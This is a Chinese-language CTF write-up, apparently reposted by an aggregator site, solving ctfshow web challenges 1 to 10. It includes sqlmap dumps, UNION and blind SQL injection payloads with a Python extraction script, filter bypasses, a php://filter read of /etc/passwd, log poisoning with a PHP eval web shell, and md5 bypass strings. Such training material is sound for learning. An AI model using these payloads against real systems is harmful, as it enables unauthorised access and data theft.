ctfshow 做题 web 方向 web1~web10
Posted Goodric
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow 做题 web 方向 web1~web10相关的知识,希望对你有一定的参考价值。
ctfshow 做题 web 方向
——
web1 签到题
打开环境,页面中就一句话:where is flag ?
F12 查看源代码,注释中一串字符,猜测为 base64 编码。
base64 解码得 flag 。
——
——
web2
题目描述:最简单的 sql 注入。
打开环境是一个登录界面。
注入点应该就是用户名、密码的位置了。
用户名和密码的提交方式为 post ,用 burp抓包,复制数据包到新建 txt 文件。然后用 sqlmap 直接爆数据。
爆数据库:
python2 sqlmap.py -r C:\\Users\\Goodric\\Desktop/1.txt -dbs
得到这些数据库。
爆数据库 web2 的表名:
python2 sqlmap.py -r C:\\Users\\Goodric\\Desktop/1.txt -D web2 -tables
得到 web2 内的表名。
爆表 flag 里的列名:
python2 sqlmap.py -r C:\\Users\\Goodric\\Desktop/1.txt -D web2 -T flag -columns
得到列名 flag 。
爆列名 flag 内的具体数据:
得到 flag 。
——
——
web3
题目描述: 更简单的web题
页面显示如下,可以看到 php 代码中的 include() 函数,应该为文件包含。
尝试用 php 伪协议访问文件 /etc/passwd
http://10c7b297-0b86-498c-b0ad-de723ddbb79e.challenge.ctf.show:8080/?url=php://filter/read=convert.base64-encode/resource=/etc/passwd
可以看到回显了经过 base64 编码的文件内容。
这里用 php://input 伪协议。
php://input:用于执行php代码,需要post请求提交数据。
前提条件:allow_url_fopen=on
抓包先改一下 url ,用 post 方式执行命令 ls ,得到存在文件:ctf_go_go_go 和 index.php
查看文件 ctf_go_go_go 的内容。
得到 flag 。
——
——
web4
打开页面,看起来跟前面那题一样。
当尝试用 php 伪协议访问 etc/passed 文件时,回显 error 。可能是过滤了构造中的某些字符。
再用一下 file 协议,
?url=file://…/…/…/…/…/…/…/…/…/…/…/etc/passwd
虽然没有报错,都是还是未回显,文件包含不成功。
这题可以用到日志注入。
访问日志的默认目录:
?url=/var/log/nginx/access.log
成功回显了。
burp 抓包,在数据包中插入一句话木马:
<?php @eval($_POST['a']);?>
接下来就是用蚁剑连接。
得到 flag 文件。
——
——
web5
打开容器,是一段代码。
关键信息在这里:(需要参数 v1 和 v2 的 md5 值相同)
if(md5($v1)==md5($v2)){ echo $flag;
同时还有限制条件:(v1 需要全是字母,v2 需要全是数字)
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
这里直接 md5 0e 绕过:
?v1=QNKCDZO&v2=240610708
得到flag 。
——
——
web6
进入环境是一个登录界面。
随便输入内容没有任何回显。
尝试万能密码:
用户名:1’or’1’or’1
密码:随便输
可以看到只是有回显,不是会进入某个页面。所以要进行注入回显。
尝试使用语句,回显:sql inject error
说明语句中存在被过滤的字符。
经过重新一个字符一个字符输入语句,得到被过滤的字符为空格。
一般空格被过滤,有如下替换方法:
/**/
()
回车(url编码中的%0a)
` (tab上面的那个健)
两个空格
这里可以使用 /**/ ,绕过过滤之后就可以进行注入语句了。
语句:
-1'/**/union/**/select/**/1,2,3#
得到回显位为 2 。
语句:
-1'/**/union/**/select/**/1,database(),3#
得到数据库名。
语句:
-1'/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
这里还产生了一个疑问,为什么把语句都放在了数字 3 的后面,而不是全部在 2 的位置。
如果放在 2 的位置:(就没有回显)
-1'/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web2',3#
得到数据库 web2 中的两个表名 flag 和 user 。
语句:
-1'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema='web2'/**/and/**/table_name='flag'#
得到表 flag 表中的列 flag 。
语句:
-1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#
得到具体数据 flag 。
——
——
web7
进入环境,有三个可以点击的文章。
点开显示的文章列表,看到 url 中传入了参数 id 。
那就直接是 sql 注入了,尝试:
?id=1' or 1=1 #
显示 sql inject error ,语句存在错误有过滤。
测试之后,和前面那题一样,过滤了空格。
测试回显位:
?id=-1'/**/union/**/select/**/1,2,3#
得到回显位为 2 。
语句:
?id=-1'/**/union/**/select/**/1,database(),3#
得到数据库名为 web7 。
语句:
? id=-1'/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
得到数据库 web7 中的表名有 flag、page 和 user 。
到这里,想要继续爆列名,却发现语句无回显了:
id=-1'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema='web7'/**/and/**/table_name='flag'#
暂不清楚到这里才无回显的原因,怎么前面有回显。
查了一下这里是用盲注,盲注手动的话需要一个字母一个字母测试有没有回显。
所以这里从网上拿了一个 python 脚本跑:
import requests
s=requests.session()
url='http://250e0178-dcc3-468e-bac1-b2ed56086770.challenge.ctf.show:8080/index.php'
//自己环境的 url
table=""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
可以看到再跑的脚本也是一个一个字母把最终结果慢慢试出来。
代码中有爆表名、爆字段名、爆数据三条语句。
跑哪条语句就把其它语句先注释掉,在语句内可修改爆哪个表或字段。
最终,跑到最后一条读取 flag 字段的数据,得到 flag 。
——
——
web8
题目描述:做到这一题,基本可以写简单的注入工具了
打开页面和前面那题一样
先进行简单的尝试:
?id=-1'/**/union/**/select/**/1,2,3#
回显: sql inject error
这题除了空格,还存在其它过滤的字符,经过一个一个字母试,得到逗号被过滤了。
不过前面那个脚本仍然还可以用,语句中不含逗号,
同样的脚本,爆出表名还是那三个:flag、page、user ,字段名有 flag 。
接着爆出字段名 flag 的数据,得到 flag 。
——
——
web9
进入环境是一个登录界面,给出了用户名,可输入密码。应该还是一题注入。
使用注入语句无回显,后来知道是要扫后台。
用 dirsearch 工具使用命令:
python3 dirsearch.py -u http://06c93661-b489-4c3f-ad1d-97f08191c9b9.challenge.ctf.show:8080/ -e php
扫出了 robots.txt 。
访问 /robots.txt
访问 /index.phps
打开这个文件,得到登录的源码。
根据源码,前面要求 password 长度不能大于 10 ,否则回显错误;后面关键语句:
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
这里有一个函数:
md5(string,raw) :
string 指规定要计算的字符串,
raw 有两个选项:
TRUE - 原始 16 字符二进制格式
FALSE - 默认,32 字符十六进制数
这里用到 md5 函数的绕过,将密码转换成16进制的 hex 值以后,再将其转换成字符串后语句中密码的位置就成了:'or’xxxx
原来的语句就成了:
username =‘admin’ and password =’ 'or ‘xxxx’
这样就可以注入了。因为 or 语句只要两边有一个为真即可绕过语句中 password 的验证。
上面这些可能比较难理解,不过在这里只要知道可以用一个字符串: ffifdyop
因为 ffifdyop 经过 md5 之后的值为: 276f722736c95d99e921722cf9ed621c ;
276f722736c95d99e921722cf9ed621c 再转成字符串就变成 ’ ’ ‘or’ xxx 拼接到语句中。
用密码 ffifdyop 登录,得到 flag 。
——
——
web10
打开环境,又是一个登录界面,与前一题相比用户名一栏未给出。
尝试随便输入,无回显。
尝试输入 1’ or 1=1
发现回显 sql inject error ,存在过滤,根据前面的题目,很容易找出空格被过滤,再尝试发现逗号也被过滤了。
在找线索过程中,意外发现点“取消”按钮直接得到源码文件。
打开源码文件。
根据源码:
$regex = "/(select|from|where|join|sleep|and|\\s|union|,)/i";
可以得知过滤了这些关键字。需要在 username 框构造语句成功登录就能得到 flag 。
这里又可以新学一个 mysql 注入语句姿势:
group by : 对进行查询的结果进行分组。group by后跟什么,就按什么分组
with rollup: group by 后可以跟with rollup,可以在进行分组统计的基础上再次进行汇总统计。
达到的结果就是通过加入 with rollup 使 sql 语句查询结果 password 有一行为是 null ,在不输入 password 情况下就能达到源码中的条件 :
$password==$row['password']
最终,构造的语句:
1'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
得到 flag 。
以上是关于ctfshow 做题 web 方向 web1~web10的主要内容,如果未能解决你的问题,请参考以下文章
ctfshow-萌新-web1( 利用intval函数的特性获取敏感数据)